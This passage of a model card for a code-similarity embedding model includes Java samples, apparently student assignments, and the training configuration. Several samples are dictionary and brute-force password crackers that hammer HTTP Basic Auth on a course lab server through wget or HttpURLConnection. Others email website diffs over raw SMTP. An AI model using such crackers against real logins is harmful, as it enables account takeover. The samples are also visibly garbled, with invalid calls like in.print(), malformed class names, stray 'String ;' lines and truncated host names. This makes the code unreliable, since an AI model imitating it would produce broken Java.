'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n catch (NullPointerException ex)\n {\n System.out.println(word);\n }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n else\n System.out.println("NOT FOUND!");\n\t}\n}',
'\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n String url;\n String fileName;\n int flag;\n private PrintWriter out2;\n private TextArea response;\n int status;\n int mailFlag;\n\n public WriteFile (String newUrl, String newFileName, int newFlag)\n {\n url = newUrl;\n fileName = newFileName;\n PrintWriter printW = null;\n FileOutputStream fout;\n flag = newFlag;\n status = 0;\n mailFlag = 0;\n\n \n File file = new File(fileName);\n file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n printW = new PrintWriter(fout);\n }\n catch (IOException ioe)\n {\n System.out.println("IO Error : " + ioe);\n }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n u = new URL(url);\n try\n {\n \n uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n String line;\n\n \n while ((line = in.readLine()) != null)\n {\n \n printW.println(line);\n\n }\n }\n catch (Exception e)\n {\n System.out.println("Error: " + e);\n }\n }\n catch (MalformedURLException e)\n {\n System.out.println(url + " is not a parseable URL");\n }\n \n printW.print();\n\n\n if(flag == 1)\n {\n \n compareDiff("@.rmit.edu.");\n }\n }\n\n String loadStream(InputStream in) throws IOException\n {\n int ptr = 0;\n in = new BufferedInputStream(in);\n StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next()) != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n mailFlag++;\n \n }\n return buffer.toString();\n }\n\n public void compareDiff(String emailAdd)\n {\n String cmds = "diff test1.txt test2.txt";\n PrintWriter printW2 = null;\n FileOutputStream fout2;\n \n File file = new File("diff.txt");\n file.delete();\n String ;\n\n try\n {\n fout2 = new FileOutputStream("diff.txt",true);\n printW2 = new PrintWriter(fout2);\n }\n catch (IOException ioe)\n {\n System.out.println("IO Error : " + ioe);\n }\n\n try\n {\n\n\n \n Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n printW2.println(loadStream(ps.getInputStream())+"\\n");\n printW2.print();\n\n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n BufferedReader buf2;\n\n try\n {\n fRead2 = new FileReader("diff.txt");\n buf2 = new BufferedReader(fRead2);\n String line2;\n int i=0;\n\n line = new String(" some changes the web as followed: \\n");\n \n Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n send(null);\n send("HELO cs.rmit.edu.");\n send("MAIL FROM: @.rmit.edu.");\n \n send("RCPT : @.rmit.edu.");\n send("DATA");\n \n\n while( (line2 = buf2.readLine()) != null)\n {\n \n line= new String(""+line2+"\\n");\n \n \n\n }\n \n \n \n out2.print();\n send(".");\n s.print();\n }\n catch(FileNotFoundException e)\n {\n System.out.println("File not found");\n }\n catch(IOException ioe)\n {\n System.out.println("IO Error " + ioe);\n }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n \n System.err.print(loadStream(ps.getErrorStream()));\n }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n }\n }\n\n public void send(String s) throws IOException\n {\n \tresponse = new TextArea();\n \tif(s != null)\n \t{\n response.append(s + "\\n");\n out2.println(s);\n\t out2.flush();\n\t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}',
'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n private String password="";\n\n private int num=401;\n\n\n public static void main(String[] args) {\n\n\n Dictionary URLcon;\n\n int length = 0;\n\n String passwd="";\n\n int t0,t1;\n\n String line ="";\n \n if (args.length == 0) {\n \t\n System.err.println (\n \t\t\n \t\t"Usage : java BruteForce <username>");\n return;\n \t\n }\n \n String username = args[0];\n \n \n t0=System.currentTimeMillis();\n \n System.out.println (" " + new Date());\n System.out.println ("Using Dictionary method attack "+username+"\'s password. Please waiting.......");\n\n try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println("The password: "+ passwd);\n\n \tdouble dt =t1-t0;\n\n \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n \n System.out.println ("Finish " + new Date());\n \n \treturn;\n\n }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \tSystem.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n }\n\n\n System.out.println(" not find the password");\n\n\n}\n\n public Dictionary (String password,String username) {\n\n \t String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n \n try {\n\n String userPassword = username+":"+password ;\n\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n uc.setRequestProperty ("Authorization", " " + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n catch(MalformedURLException e){\n \t System.out.println(e);\n }catch(IOException e){\n System.out.println(e);\n }\n\n\n }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Training Details
Training Dataset
Unnamed Dataset
- Size: 33,411 training samples
- Columns:
sentence_0,sentence_1, andlabel - Approximate statistics based on the first 1000 samples:
sentence_0 sentence_1 label type string string int details - min: 61 tokens
- mean: 478.83 tokens
- max: 512 tokens
- min: 61 tokens
- mean: 490.04 tokens
- max: 512 tokens
- 0: ~99.80%
- 1: ~0.20%
- Samples:
sentence_0 sentence_1 label
import java.net.;
import java.io.;
public class sendMail {
public void sendMail(String mailServer, String recipient, String result) {
try {
Socket s = new Socket(mailServer, 25);
BufferedReader in = new BufferedReader
(new InputStreamReader(s.getInputStream(), "8859_1"));
BufferedWriter out = new BufferedWriter
(new OutputStreamWriter(s.getOutputStream(), "8859_1"));
send(in, out, "HELO client");
send(in, out, "MAIL FROM: ");
send(in, out, "RCPT : " + recipient);
send(in, out, "DATA");
send(out, "Subject: ");
send(out, "From: Admin ");
send (out, "\n");
send(out, result);
send(out, "\n.\n");
send(in, out, "QUIT");
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedReader in, BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
Sys...
import java.io.;
import java.util.;
import java.;
import java.net.;
public class WatchDog
{
static Process p = null;
static Process qproc = null;
static BufferedReader bf = null;
static StringTokenizer tok = null;
static String Path = null;
static String str = null;
static String urlStr=null;
static boolean changed = false;
static File indexfile = new File("index.html");
static File tmpfile = new File("tmpindex.html");
static File mdfile = new File("md5file.txt");
static File tmpmdfile = new File("tmpmd5file.txt");
static PrintWriter mailwriter = null;
public static void main(String[] args)
{
urlStr = "http://www.cs.rmit.edu./";
try
{
mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));
getLatest(urlStr);
parseFile();
mailwriter.read();
if(changed)
{
System.out.println("Sending Mail");
...0
import java.io.;
import java.net.;
public class BruteForce
{
private String myUsername = "";
private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";
private int NUM_CHARS = 52;
public static void main(String args[])
{
BruteForce bf = new BruteForce();
}
public BruteForce()
{
generatePassword();
}
public void generatePassword()
{
int index1 = 0, index2, index3;
char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R',
'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',
'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
while(index1 < NUM_CHARS)
{
index2 = 0;
while(index2 < NUM_CHARS)
{
...
public class HoldSharedData
{
private int numOfConnections = 0;
private int startTime;
private int totalTime = 0;
private String[] password;
private int pwdCount;
public HoldSharedData( int time, String[] pwd, int count )
{
startTime = time;
password = pwd;
pwdCount = count;
}
public int getPwdCount()
{
return pwdCount;
}
public void setNumOfConnections( )
{
numOfConnections ++;
}
public int getNumOfConnections()
{
return numOfConnections;
}
public int getStartTime()
{
return startTime;
}
public void setTotalTime( int newTotalTime )
{
totalTime = newTotalTime;
}
public int getTotalTime()
{
return totalTime;
}
public String getPasswordAt( int index )
{
return password[index];
}
}0
import java.net.;
import java.io.;
public class sendMail {
public void sendMail(String mailServer, String recipient, String result) {
try {
Socket s = new Socket(mailServer, 25);
BufferedReader in = new BufferedReader
(new InputStreamReader(s.getInputStream(), "8859_1"));
BufferedWriter out = new BufferedWriter
(new OutputStreamWriter(s.getOutputStream(), "8859_1"));
send(in, out, "HELO client");
send(in, out, "MAIL FROM: ");
send(in, out, "RCPT : " + recipient);
send(in, out, "DATA");
send(out, "Subject: ");
send(out, "From: Admin ");
send (out, "\n");
send(out, result);
send(out, "\n.\n");
send(in, out, "QUIT");
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedReader in, BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
Sys...
import java.net.;
import java.io.;
public class Base64Encoder
{
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
public static String encode (String string)
{
String encodedString = "";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length)
{
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length)
{
b2 = 0;
b3 = 0;
pad = 2;
}
else
{
b2 = bytes [i++];
if (i >= bytes.length)
...0 - Loss:
BatchAllTripletLoss
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size: 16per_device_eval_batch_size: 16num_train_epochs: 1multi_dataset_batch_sampler: round_robin
All Hyperparameters
Click to expand
overwrite_output_dir: Falsedo_predict: Falseeval_strategy: noprediction_loss_only: Trueper_device_train_batch_size: 16per_device_eval_batch_size: 16per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 5e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0.0warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falseuse_ipex: Falsebf16: Falsefp16: Falsefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed: Nonelabel_smoothing_factor: 0.0optim: adamw_torchoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters:auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: Falseneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseeval_use_gather_object: Falseaverage_tokens_across_devices: Falseprompts: Nonebatch_sampler: batch_samplermulti_dataset_batch_sampler: round_robin
Training Logs
| Epoch | Step | Training Loss |
|---|---|---|
| 0.2393 | 500 | 0.1754 |
| 0.4787 | 1000 | 0.1994 |
| 0.7180 | 1500 | 0.209 |
| 0.9574 | 2000 | 0.1941 |
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
BatchAllTripletLoss
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}